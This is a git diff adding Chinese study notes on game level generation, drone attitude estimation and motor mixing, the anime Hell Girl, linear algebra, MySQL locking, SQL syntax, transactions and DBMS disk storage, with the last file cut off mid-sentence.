"b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\224\237\346\210\220\345\261\202\347\272\247.md" new file mode 100644 index 000000000..474d36583 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\224\237\346\210\220\345\261\202\347\272\247.md" @@ -0,0 +1,24 @@ +# 生成层级 + +以下采用生成类似 *元气骑士* 中地图的方法, 该方法的优点是宜于实现. +由于地图生成不影响游戏内的其他部分, 所以应该先尝试最简单的实现. + +## 生成房间 + +生成层级内的全部房间, 包含: + +- 一个初始房间 (Initial room), 即挺进地牢中的 "膛室". +- 一定数量的敌人房间 (Enemy room). +- 一定数量的特殊房间 (Special room). +- 一个 BOSS 房间. + +以网格为结构生成这些房间. + +一下方法可以帮助提高玩家探索地牢的速度: + +- 房间尽量集中, 且保持较少的房间数量 (如元气骑士). +- 为部分房间添加传送门, 允许玩家快速移动 (如挺进地牢, 死亡细胞). + +## 生成连廊 + +若以网格为结构生成房间, 则可以非常简单的生成连廊. 只存在横着和竖着的两种连廊. diff --git "a/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\250\213\345\272\217\350\256\276\350\256\241.md" "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\250\213\345\272\217\350\256\276\350\256\241.md" new file mode 100644 index 000000000..9630cce67 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\250\213\345\272\217\350\256\276\350\256\241.md" @@ -0,0 +1,14 @@ +# 程序设计 + +程序大致可以分为以下几部分: + +- **角色控制**: 键盘/鼠标/手柄控制角色, 自动瞄准. +- **敌人 AI**. + - 小怪: 多种 AI, 并让多种小怪共享单个 AI. + - BOSS: 每个 BOSS 都需要一个单独的 AI. +- **弹幕**. + - 生成: 生成有着不同形状和运动方式的弹幕. + - 模拟: 由于弹幕不一定是直线运动, 所以需要模拟各种不同的弹幕运动方式. +- **UI**. + - 菜单, 设置界面. + - 游戏内的 HUD: 生命值等信息. diff --git "a/docs/\345\205\266\344\273\226/\345\247\277\346\200\201\350\247\243\347\256\227.md" "b/docs/\345\205\266\344\273\226/\345\247\277\346\200\201\350\247\243\347\256\227.md" new file mode 100644 index 000000000..fcc79294b --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\247\277\346\200\201\350\247\243\347\256\227.md" @@ -0,0 +1,129 @@ +# 姿态解算 + +**关键字**: IMU 数据融合. + +姿态解算是指根据加速度计/陀螺仪/磁力计等的数据融合在一起, 得出飞行器的空中姿态. + +$$ +加速度计 \rightarrow 加速度 \xrightarrow{积分} 速度 \xrightarrow{积分} 位置 \\ 陀螺仪 \rightarrow 角速度 \xrightarrow{积分} 角度 +$$ + +!!! info 本文使用右手坐标系, Y 表示垂直方向. + +### 姿态角 + +* 陀螺仪: 可以得到相对的姿态欧拉角, 但存在累计误差和零偏误差. +* 磁力计: 可以得到绝对的 yaw 角. +* 加速度计: 可以得到绝对的 pitch 和 roll 角. + +当加速度计只受到重力作用的时候, 由于已知重力矢量的方向, 可以进一步推出加速度计的姿态角. + +### 位置 + +* 加速度计: 可以得到相对的 X, Y, Z 坐标, 但存在累计误差. +* 气压计: 只能获取绝对的 Z 坐标. +* GPS: 可以得到绝对的 X, Y, Z 坐标, 但 Z 坐标的精度较低, 且存在无 GPS 信号的情况. + +### IMU + +* 6 轴 IMU: 三轴加速度计和三轴陀螺仪. +* 9 轴 IMU: 在 6 轴 IMU 的基础上添加了三轴磁力计. +* 10 轴 IMU: 在 9 轴 IMU 的基础上添加了气压计. + +#### MPU-6050 + +MPU-6050 是 InvenSense 公司推出的一款集成了 3 轴陀螺仪和 3 轴加速度计的 6 轴运动处理器, 它还具有一个第二 IIC 接口, 可以连接外部磁力计, 结合内置的数字运动处理器(DMP, Digital Motion Processor), 能够在硬件层面对传感数据进行融合和处理, 并通过主 IIC 接口向 MCU 输出 9 轴姿态融合演算数据. + +## 控制分配 + +电机的旋转方向与 yaw 的调节有关, pitch 和 roll 与电机相对与质心的位置有关. + +* 绕 Z 轴正转 (yaw): 绕 Z 轴反转 (顺时针) 的电机加速, 绕 Z 轴正转 (逆时针) 的电机减速, 提供一个绕 Z 轴正转的力矩. +* 绕 Y 轴正转 (pitch): 位于 -X 方向 (后方) 的电机加速, 位于 X 方向 (前方) 的电机减速, 提供一个绕 Y 轴正转的力矩. +* 绕 X 轴正转 (roll): 位于 Y 方向 (左方) 的电机加速, 位于 -Y 方向 (右方) 的电机减速, 提供一个绕 X 轴正转的力矩. + +`+` 型: + +前方和后方的电机顺时针旋转, 左方和右方的电机逆时针旋转. + +```cpp +front_speed = throttle + yaw - pitch; +back_speed = throttle + yaw + pitch; +right_speed = throttle - yaw - roll; +left_speed = throttle - yaw + roll; +``` + +`x` 型: + +左前和右后的电机顺时针旋转, 右前和左后的电机逆时针旋转. + +在进行俯仰和滚转时需要使用两个电机模拟 `+` 型一个电机的效果, 所以需要乘以一个系数. + +假设 `front_left` 和 `back_left` 的方向与 Y 方向之间的夹角为 45° 且中心对称: + +```cpp +constexpr float scale = 0.70710678118654752440084436210485f; // cos(45°) +pitch *= scale; +roll *= scale; + +front_right_speed = throttle - yaw - pitch - roll; +front_left_speed = throttle + yaw - pitch + roll; +back_right_speed = throttle + yaw + pitch - roll; +back_left_speed = throttle - yaw + pitch + roll; +``` + +对于非 `+` 型的多旋翼无人机, 需要将旋转的调整量分配到不同的电机上. 比如 `+` 型需要使左侧电机产生一个升力 F, `x` 型应该要对这个力进行分解, 使多个电机产生的合力也等于 F. + +动态调整节流阀上限, 为姿态控制留出余量. + +```cpp +throttle_max = motor_speed_max - std::max({yaw - pitch + roll, yaw + pitch - roll, -yaw + pitch + roll}); +``` + +可同时支持多种多旋翼, 甚至允许电机位置和数量在运行时发生变化: + +```cpp +constexpr size_t motor_count = 4; + +const EulerAngles[motor_count] scalings = { + // yaw pitch roll + {-1.0, -0.70710678118654752440084436210485f, -0.70710678118654752440084436210485f}, // front right + { 1.0, -0.70710678118654752440084436210485f, 0.70710678118654752440084436210485f}, // front left + { 1.0, 0.70710678118654752440084436210485f, -0.70710678118654752440084436210485f}, // back right + {-1.0, 0.70710678118654752440084436210485f, 0.70710678118654752440084436210485f}, // back left +}; + +float control_speed[motor_count]; // 调节姿态的控制量 +float throttle_max = std::numeric_limits::max(); +for(uint8_t i = 0; i < motors.size(); i++) +{ + control_speed[i] = scalings[i].yaw * yaw + scalings[i].pitch * pitch + scalings[i].roll * roll; + throttle_max = std::max(motor_speed_max - control_speed[i], throttle_max); +} + +const float throttle_limited = std::min(throttle, throttle_max); +for(uint8_t i = 0; i < motors.size(); i++) + motor_speed[i] = throttle_limited + control_speed[i]; +``` + +### 滤波 + +在飞行器飞行的过程中, 加速度计由于震动会产生大量噪声. 需要通过滤波算法对传感器的输出进行处理, 减少噪声对姿态评估的影响. + +- 平均值滤波 (average filtering). +- 均值滤波 (mean filtering). +- 卡尔曼滤波 (Kalman filtering). + +--- + +- 框架 (Frame). +- 电机 (Motors). +- 桨叶 (Propellers). +- 电子调速器 (Electric Speed Controller, ESC), 电调. +- 配电板 (Power Distribution Board, PDB). +- 飞行控制系统 (Flight Controller), 飞控. +- 电池 (Battery). +- 信号接收器 (Reciever). +- 摄像机 (Camera). +- 视频发射机 (Video Transmitter, VTX), 图传. +- 传感器 (Sensors). diff --git "a/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_1.jpg" "b/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_1.jpg" new file mode 100644 index 000000000..ffc3e765c Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_1.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_2.jpg" "b/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_2.jpg" new file mode 100644 index 000000000..baa377bfc Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_2.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_3.jpg" "b/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_3.jpg" new file mode 100644 index 000000000..5827f2fd2 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/assets/hell_girl_3.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/\345\234\260\347\213\261\345\260\221\345\245\263.md" "b/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/\345\234\260\347\213\261\345\260\221\345\245\263.md" new file mode 100644 index 000000000..74d26e675 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\275\261\350\247\206\344\275\234\345\223\201/\345\234\260\347\213\261\345\260\221\345\245\263.md" @@ -0,0 +1,39 @@ +# 地狱少女 (地獄少女) + +> Hell is empty and all the devils are here. - *William Shakespeare, The Tempest* + +*地狱少女*作为一部单元剧, 地狱少女每集都会围绕一个与仇怨有关的故事展开. 当事的一方会通过 "地狱通信" 诅咒另一方坠入地狱, 一旦与地狱少女正式缔结契约, 被诅咒者便会立刻被送往地狱的深渊. 而诅咒者自身因咒杀他人, 死后亦将踏上前往地狱的不归路. + +这不仅是一部讲述仇怨与复仇的剧集, 更是一部引发观众深思的作品. 它让我们看到了人性中的善恶冲突, 也让我们反思自己在面对类似情况时可能会做出的选择. + +最初是因为喜欢这部作品的配乐*地獄の舟歌*, 然后才找到这部番剧. 好奇地狱少女讲述了一个怎样的虚构故事, 没想到却真的瞥见了真实的地狱. + +前几集中, 被诅咒者往往背负着深重的罪孽. 比如第 2 集 *被魅惑的少女*, 在被诅咒者在即将对诅咒者实施不法侵害时被及时送入地狱, 因此观众可能会认为少女因为 "地狱通信" 得以躲过一劫. 在之后的几集中, 部分观众甚至将 "地狱通信" 视为正义的化身, 因为剧情总是被害人通过 "地狱通信" 寻求自己的正义, 并最终通过 "地狱通信" 将非正义的一方送入了地狱. + +第 8 集 *寂静的交集*, 剧中出现了一名干涉者 (柴田一, 记者), 会参与案件并尝试阻止诅咒者通过 "地狱通信" 复仇. 干涉者的出现将对案件产生实质性的影响. +此后讨论的焦点并不仅局限于 "地狱通信" 的正义和非正义, 还有干涉者的立场, 以及干涉的力度. + +随着剧情的发展, 干涉者在发现之前的干涉未能取得有效成果时开始加大干涉力度. 在第 21 集 *和蔼的邻居*, 干涉者甚至将人偶从诅咒者手上夺过. 使用了除了口头劝说之外的干涉方式. 虽然干涉者声称自己的意图是希望诅咒者三思, 但却丢弃了人偶, 而非进行保管. + +第 23 集 *病院之光*, 观众失去了上帝视野. 在之前的剧集中, 观众从上帝视角观察了整个故事的细节, 因此受害者和加害者的角色在观众的眼中非常的分明. 部分观众认为这是双赢, 坏人被送入地狱, 好人也得以复仇. +而现实生活中, 人通常无法从上帝视角看到案件的全貌, 受害者和加害者的角色可能变得模糊. 第 23 集让观众也成为了这样一位未知全貌也不可能知全貌的旁观者. + +观众虽然获得了观察单个案例的上帝视野, 但却依然被局限在剧中所提供的个案. 犹如管中窥豹, 难以对 "地狱通信" 做出全面的评价. + +## 地狱空荡荡, 魔鬼在人间 + +正如威廉·莎士比亚在*暴风雨*中所写的: "地狱空荡荡,魔鬼在人间". + +从第 1 集开始观众就开始通过弹幕 (Danmaku subtitling) 表达自己的看法, 部分观众内心的幽暗的开始通过弹幕展现. +这一点在第 18 集 *被束缚的少女* 中尤为突出, 相比被加害人, 被害人和干涉者受到了更加强烈的批评, 仿佛被害人两条狗的死亡完全是自己一手造成的悲剧. 这些观众抨击被害人懦弱无能, 认为干涉人无权干涉别人复仇, 即使这样做也会使被害人也会坠入地狱. + +![Hell Girl 1 - Bilibili](assets/hell_girl_1.jpg) +![Hell Girl 2 - Bilibili](assets/hell_girl_2.jpg) +![Hell Girl 3 - Bilibili](assets/hell_girl_3.jpg) + +这一现象, 无疑是对莎士比亚那句名言的深刻诠释. + +仿佛间, 看见了大楼顶上的少女和楼下围观的看客[^1], 冷漠的看客甚至为自己的无情感到自豪. +他们用冷酷的语言将悬崖边上的人推下, 少女跳楼后身亡, 而冷漠的看客也将在死后坠入地狱, 他们的灵魂将饱尝痛苦, 永世彷徨. + +[^1]: diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\345\255\246/\346\261\202\350\247\243\347\272\277\346\200\247\346\226\271\347\250\213\347\273\204.md" "b/docs/\345\205\266\344\273\226/\346\225\260\345\255\246/\346\261\202\350\247\243\347\272\277\346\200\247\346\226\271\347\250\213\347\273\204.md" new file mode 100644 index 000000000..6fa59d214 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\345\255\246/\346\261\202\350\247\243\347\272\277\346\200\247\346\226\271\347\250\213\347\273\204.md" @@ -0,0 +1,75 @@ +# 求解线性方程组 + +## 克莱姆法则 (Cramer's rule) + +**作用**: 求解线性方程组. + +若线性方程组的系数矩阵可逆 (非奇异), 即系数行列式 D≠0,则线性方程组⑴有唯一解, 其解为: + +$$ +x_j = \frac{D_j}{D} (j = 1,2,\dots,n) +$$ + +线性方程组: + +$$ +\left\{ \begin{align} x + y =& 3 \\ 2x - y =& 1 \end{align} \right. +$$ + +$$ +D = \left| \begin{matrix} 1 & 1 \\ 2 & -1 \end{matrix} \right| = -3 \\ D_1 = \left| \begin{matrix} 3 & 1 \\ 1 & -1 \end{matrix} \right| = -4 \\ D_2 = \left| \begin{matrix} 1 & 3 \\ 2 & 1 \end{matrix} \right| = -5 \\ \left\{ \begin{align} x = \frac{D_1}{D} = \frac{4}{3} \\ y = \frac{D_2}{D} = \frac{5}{3} \end{align} \right. +$$ + +## 增广矩阵 (Augmented matrix) + +**别名**: 扩增矩阵, 广置矩阵.\ +**作用**: 判断线性方程组解的情况. + +线性方程组: + +$$ +\begin{align} x + y =& 3 \\ 2x - y =& 1 \end{align} +$$ + +系数矩阵: + +$$ +\begin{bmatrix} 1 & 1 \\ 2 & -1 \end{bmatrix} +$$ + +增广矩阵: + +$$ +\left[ \begin{array}{c:c} \begin{matrix} 1 & 1 \\ 2 & -1 \end{matrix} & \begin{matrix} 3 \\ 1 \end{matrix} \end{array} \right] +$$ + +* 当时 $r(A) < r(A, b)$, 方程组无解. +* 当时 $r(A) = r(A, b) = n$, 方程组有唯一解. +* 当时 $r(A) = r(A, b) < n$, 方程组有无限多解. + +## 初等变换 (Elementary transformation) + +**作用**: 求行列式的值. + +### 初等行变换 + +1. 以一个非零的数乘矩阵的某一行. +2. 把矩阵的某一行的 k 倍加到另一行. +3. 互换矩阵中两行的位置. + +### 初等列变换 + +与初等行变换类似, 但以列为单位. + +## 高斯消元法 (Gaussian elimination method) + +**作用**: 求解线性方程组, 求矩阵的秩. + +$$ +线性方程组 \rightarrow 增广矩阵 \xrightarrow{行初等变换} 行阶梯形矩阵(row-echelon form) +$$ + + + +* 特征值: $|\lambda E-A|$. +* 特征向量: $(\lambda E-A)X = 0$. diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\345\255\246/\347\237\251\351\230\265.md" "b/docs/\345\205\266\344\273\226/\346\225\260\345\255\246/\347\237\251\351\230\265.md" new file mode 100644 index 000000000..24d14ff83 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\345\255\246/\347\237\251\351\230\265.md" @@ -0,0 +1,142 @@ +## 1. 矩阵的基本运算(加减乘除) + +矩阵乘法: + +$$ +\begin{bmatrix} +1 & 2 \\ +3 & 4 \\ +\end{bmatrix} +\begin{bmatrix} +5 & 6 \\ +7 & 8 \\ +\end{bmatrix} += +\begin{bmatrix} +19 & 22 \\ +43 & 50 \\ +\end{bmatrix} +$$ + +$C_{11} = A_{11} * B_{11} + A_{12} * B_{21}$ + +## 2. 三元一次方程组 (10分) + +$$ +ax_1 + bx_2 + cx_3 = x \\ +dx_1 + ex_2 + fx_3 = y \\ +gx_1 + hx_2 + ix_3 = z +$$ + +$$ +\begin{bmatrix} +a & b & c \\ +d & e & f \\ +g & h & i +\end{bmatrix} +$$ + +## 3. 矩阵行列式 (10分) + +$$ +\begin{vmatrix} +1 & b & c \\ +0 & e & f \\ +0 & h & i +\end{vmatrix} += +\begin{vmatrix} +e & f \\ +h & i +\end{vmatrix} += ei - hf +$$ + +## 4. 矩阵求逆 (10分) + +$$ A^{-1} = \frac{A^*}{|A|} $$ + +## 5. 矩阵方程组 (10分) + +$$ AA^{-1} = A^{-1}A = I $$ + +$$ +\begin{align} +AX &= AB \\ + X &= A^{-1}AB \\ + X &= A^{-1}B \\ + X &= \frac{1}{|A|}A^*B +\end{align} +$$ + +!!! warning + 注意矩阵之间相乘顺序不可以对调, 假设公式为 $XA = B$ 可得 $X = BA^{-1}$. + 矩阵不能作为分母. + +答题步骤: + +1. 求行列式的值. +2. 求代数余子式. +3. 带入公式. + +$$ +\begin{align} +AX + BX &= C \\ + (A+B)X &= C \\ + X &= (A+B)^{-1}C +\end{align} +$$ + +$$ +AX + X = B +(A + I)X = B +$$ + +## 6. 初等变换 + +$A \rightarrow B$ + +2 3 1 2 +1 2 3 3 +3 6 9 12 + +1 2 3 3 +2 3 1 2 +1 2 3 4 + +1 2 3 3 +0 -1 -5 -4 +0 0 0 1 + +## 7. 矩阵的秩 + +最高阶子式不为零的阶数. + +求 r(A). + +r(A) = 造三角形零的矩阵的 行数 - 零行数 + +1 1 1 1 +0 1 1 1 +0 0 1 1 + +1 1 1 +0 1 1 +0 0 1 +0 0 0 + +## 8. 证明 + +对角矩阵 + +$$ +\begin{bmatrix} +a_{11} & . & . & 0 \\ +. & a_{22} & 0 & . \\ +. & 0 & . & . \\ +0 & . & . & a_{mn} +\end{bmatrix} +$$ + +上三角 (左下角为0)/下三角矩阵 (右上角为0) +对称矩阵 (主对角线为对称轴) diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/DBMS_\346\236\266\346\236\204.md" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/DBMS_\346\236\266\346\236\204.md" new file mode 100644 index 000000000..268a366d3 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/DBMS_\346\236\266\346\236\204.md" @@ -0,0 +1,7 @@ +# DBMS 架构 + +- 查询解析和优化. +- 关系操作. +- 文件和索引管理. +- 缓冲区管理 (内存). +- 磁盘空间管理 (外存). diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/MySQL_\351\224\201.md" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/MySQL_\351\224\201.md" new file mode 100644 index 000000000..4ab86a0c0 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/MySQL_\351\224\201.md" @@ -0,0 +1,50 @@ +# MySQL 锁 + +## 行级锁 (Row-level locks) + +InnoDB 支持以下两种行级锁: + +- 共享锁 (shared lock, S): 单行可以施加多个共享锁. +- 独占锁 (exclusive lock, X): 也称为**排他锁**. 单行只能施加单个独占锁. + +## 意向锁 (Intention lock) + +意向锁是表级锁. + +意向锁有以下两种类型: + +- 意向共享锁 (intention shared lock, IS). +- 意向独占锁 (intention exclusive lock, IX). + +`SELECT ... FOR SHARE` +`SELECT ... FOR UPDATE` + +TODO: 说明意向锁和表锁之间的区别 + +## 不同锁之间的冲突兼容关系 + +| | X | IX | S | IS | +| -- | ---- | ---- | ---- | ---- | +| X | 冲突 | 冲突 | 冲突 | 冲突 | +| IX | 冲突 | 兼容 | 冲突 | 兼容 | +| S | 冲突 | 冲突 | 兼容 | 兼容 | +| IS | 冲突 | 兼容 | 兼容 | 兼容 | + +## 表锁 (Table lock) + +`LOCK TABLES` 可以用于为表添加锁. + +表锁有以下两种类型: + +- `READ`: 持有该锁的会话可以读取该表, 但不能写入. 不同会话可以请求同一个表的读锁. +- `WRITE`: 持有该锁的会话可以读取并写入该表. 其他会话在加锁期间无法访问该表. + +当前事务会在尝试获取新的表锁时释放之前的表锁, 也可以通过 `UNLOCK TABLES` 显式的释放表锁. + +## 参考 + +- . + +## 参见 + +- . diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/SQL.md" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/SQL.md" new file mode 100644 index 000000000..d1020105f --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/SQL.md" @@ -0,0 +1,160 @@ +# SQL(Structured Query Language) + +SQL 命令根据功能可以分为以下几类: + +1. 数据定义语言 (Data Definition Language, DDL): `CREATE`, `DROP`, `ALTER`, `TRUNCATE`, `COMMENT`, `RENAME`. +2. 数据操作语言 (Data Manipulation Language, DML): `INSERT`, `UPDATE`, `DELETE`, `LOCK`, `CALL`, `EXPLAIN PLAN`. +3. 数据查询语言 (Data Query Language, DQL): `SELECT`. +4. 事务控制语言 (Transaction Control Language, TCL): `BEGIN TRANSACTION`, `COMMIT`, `ROLLBACK`, `SAVEPOINT`. +5. 数据控制语言 (Data Control Language, DCL): `GRANT`, `REVOKE`. + +## 数据定义语言 + +- `CREATE`/`DROP`: 用于创建/删除库和表. +- `ALTER`: 修改表. +- `TRUNCATE`: 清空表的数据. + +## 数据操作语言 + +- `INSERT`: 插入数据到表. +- `UPDATE`: 更新表数据. +- `DELETE`: 删除表数据. + +## 数据查询语言 + +- `SELECT`: 查询表数据. + +## 事务控制语言 + +- `BEGIN TRANSACTION`: 开始事务. 与 `COMMIT`, `ROLLBACK` 配对使用. +- `COMMIT`: 提交事务, 即应用事务内的全部操作. +- `ROLLBACK`: 回滚事务, 即撤销事务内的全部操作. + +## 数据控制语言 + +- `GRANT`: 给予用户权限. +- `REVOKE`: 撤销用户权限. + +## SELECT + +```txt +SELECT [DISTINCT] +FROM +[WHERE ] +[GROUP BY ] +[HAVING ] +[ORDER BY ] +[LIMIT ]; +``` + +### JOIN 子句 + +`JOIN` 用于连接多张表, 有以下几种连接类型: + +- `JOIN`/`INNER JOIN`. +- `LEFT JOIN`. +- `RIGHT JOIN`. +- `FULL JOIN`. +- `NATURAL JOIN`: 通过有相同列名的列连接. + +### ORDER BY 子句 + +根据指定列排序, 有以下两种排序方式: + +- `ASC`: 升序, 默认排序方式. +- `DESC`: 降序, 默认排序方式. + +### GROUP BY 子句 + +将行根据指定列分组, 该列值相同的行为一组. 此时查询的内容只能为分组使用的列或应用在其他列上的聚合函数. + +### HAVING 子句 + +`WHERE` 按行过滤数据, 而 `HAVING` 按组过滤数据. 因此 `HAVING` 需要与 `GROUP BY` 搭配使用. + +### SELECT 子句评估 + +1. **FROM**: 获取表, 求笛卡尔积. +2. **WHERE**: 过滤行. +3. **SELECT**: 过滤列. +4. **GROUP BY**: 分组. +5. **HAVING**: 过滤组. +6. **DISTINCT**: 去重. +7. **ORDER BY**: 排序. +8. **LIMIT**: 截取. + +#### 例子 + +```sql +SELECT S.dept, + Avg(S.gpa), + Count(*) +FROM students S +WHERE S.gender = 'F' +GROUP BY S.dept +HAVING Count(*) >= 2 +ORDER BY S.dept; +``` + +1. 获取表 `Students` 的数据. +2. 仅保留列 `gender` 值为 `F` 的行. +3. 仅保留列 `dept` 和 `gpa`. +4. 将 `dept` 值相同的行进行分组. 进行 `HAVING` 中使用到的聚合操作. +5. 仅保留大小超过 2 的组. 进行 `SELECT` 或后续子句中使用到的聚合操作. +6. 略. +7. 根据 `dept` 排序. + +### JOIN + +`FROM` 可以指定多张表, 如果存在多张表, 则需要计算这些表的笛卡尔积. + +### 表和列的别名 + +`SELECT` 和 `FROM` 中可以通过 `AS` 指定表或列的别名. +当表进行自连接时, 为了避免歧义, 必须为该表指定别名. + +### 算数表达式 + +`SELECT`, `WHERE` 和 `HAVING` 中存在算数表达式. + +```sql +SELECT Log(1000) AS three, + Exp(Ln(2)) AS two, + Cos(0) AS one, Ln(2*3) = Ln(2) + Ln(3) AS sanity; +``` + +### 字符串匹配 + +```sql +SELECT S.sname +FROM sailors S +WHERE S.sname LIKE 'B_%’ +``` + +DBMS 通常也支持通过正则表达式匹配字符串, 但语法不太一致. 下面是 PostgreSQL 的例子: + +```sql +SELECT s.sname +FROM sailors S +WHERE s.sname ~ 'B.*’ +``` + +### 组合 + +`UNION`/`INTERSECT`/`EXCEPT` 可以求两条查询语句结果的交/并/差集. + +### 嵌套查询 + +可以通过 `IN`/`EXISTS`/`ANY`/`ALL` 嵌套查询语句. + +```sql +SELECT S.sname +FROM sailors S +WHERE S.sid IN (SELECT R.sid + FROM reserves R + WHERE R.bid = 102) +``` + +## 参考 + +- diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/assets/packed_fix_length_page.png" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/assets/packed_fix_length_page.png" new file mode 100644 index 000000000..643c44ad2 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/assets/packed_fix_length_page.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/assets/unpacked_fix_length_page.png" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/assets/unpacked_fix_length_page.png" new file mode 100644 index 000000000..b8949541f Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/assets/unpacked_fix_length_page.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\344\272\213\345\212\241.md" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\344\272\213\345\212\241.md" new file mode 100644 index 000000000..1c5f78c37 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\344\272\213\345\212\241.md" @@ -0,0 +1,48 @@ +# 事务 (Transaction) + +```sql +START TRANSACTION; -- 开始事务 + +... SKIP ... + +ROLLBACK; -- 撤销所有更改 +COMMIT; -- 提交事务, 保存更改 +``` + +若在遇到 `COMMIT` 前有操作失败或遇到 `ROLLBACK`, 则自动撤回事务内的全部操作. + +## ACID + +事务通常具有 ACID 属性. 其中的字母分别表示: + +- **原子性 (*A*tomicity)**: 原子性确保事务里的所有操作**要么全部成功, 要么全部失败**. 以确保数据的一致性. +- **一致性 (*C*onsistency)**. +- **隔离性 (*I*solation)**: 隔离性确保并发执行事务的最终效果与顺序执行事务相同. +- **持久性 (*D*urability)**: 持久性确保事务提交后, 即使立即发生系统故障(例如停电或崩溃), 也会保持提交状态. + + 通常, DBMS 会利用延迟写 (Delayed write) 机制提高性能, 即在修改内存中的数据后, 延迟更新磁盘中的数据. + 但故障发生时, 内存中还未更新到磁盘的数据将丢失. + + 为保证持久性, DBMS 会利用Write-ahead logging (WAL) 机制, 先永久记录要执行的操作, 再执行这些操作. + 这样即使发生故障, 也能通过磁盘里的记录, 恢复内存中的数据. + + 结合延迟写和 WAL 机制, DBMS 可以在确保持久性的情况下, 高效的进行事务处理. + +在 SQLite 中, 事务还可以用来提高批量操作的效率. 比如多条 `INSERT` 语句原本需要多次写入文件, 利用事务, 可以一次性将全部修改写入文件, 极大的提高了执行效率. + +## 调度 + +### 符号 + +- $r_i(X)$: 事务 $i$ 读取 $X$. +- $w_i(X)$: 事务 $i$ 写入 $X$. +- $c_i(X)$: 事务 $i$ 提交. + +### 调度类型 + +- 串行 (Serial): 事务串行执行. +- 可串行化 (Serializable): 如果执行结果与串行相同, 则表示该调度是可串行化. + +## 参考 + +- . diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\346\225\260\346\215\256\345\272\223\345\255\230\345\202\250.md" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\346\225\260\346\215\256\345\272\223\345\255\230\345\202\250.md" new file mode 100644 index 000000000..04c758759 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\346\225\260\346\215\256\345\272\223\345\255\230\345\202\250.md" @@ -0,0 +1,7 @@ +# 数据库存储 + +下文仅讨论面向磁盘的 DBMS 架构, 因此内存数据库 (In-memory database) 不在讨论范围内. + +这类 DBMS 的数据库位于磁盘中, 因此要对数据操作时需先将磁盘中的数据载入到内存中, 待操作完成后再写入磁盘内. + +文件的体积可能十分巨大, 没必要甚至无法完整的载入内存中. 因此可以对数据进行分页, 以页为单位, 从磁盘载入内存, 或从内存写入磁盘. diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\347\243\201\347\233\230\347\251\272\351\227\264\347\256\241\347\220\206.md" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\347\243\201\347\233\230\347\251\272\351\227\264\347\256\241\347\220\206.md" new file mode 100644 index 000000000..2b9d9f50d --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223/\347\243\201\347\233\230\347\251\272\351\227\264\347\256\241\347\220\206.md" @@ -0,0 +1,71 @@ +# 磁盘空间管理 + +文件 -> 页 -> 记录 + +## 文件结构 + +- 无序堆文件 (Unordered heap files): 记录无序的存储在页中. +- 集群堆文件 (Clustered heap files): 记录和页分组存储. +- 排序文件 (Sorted files): 记录和页有序存储. +- 索引文件 (Index files): B+ 树, 线性散列(Linear hashing, LH). + +## 无序堆文件 + +为了支持行级操作, 需要跟踪以下内容: + +- 文件中的页. +- 页的空闲空间. +- 页上的记录. + +一种简单的方法将页的剩余空间保存在对应的页中, 插入数据前, 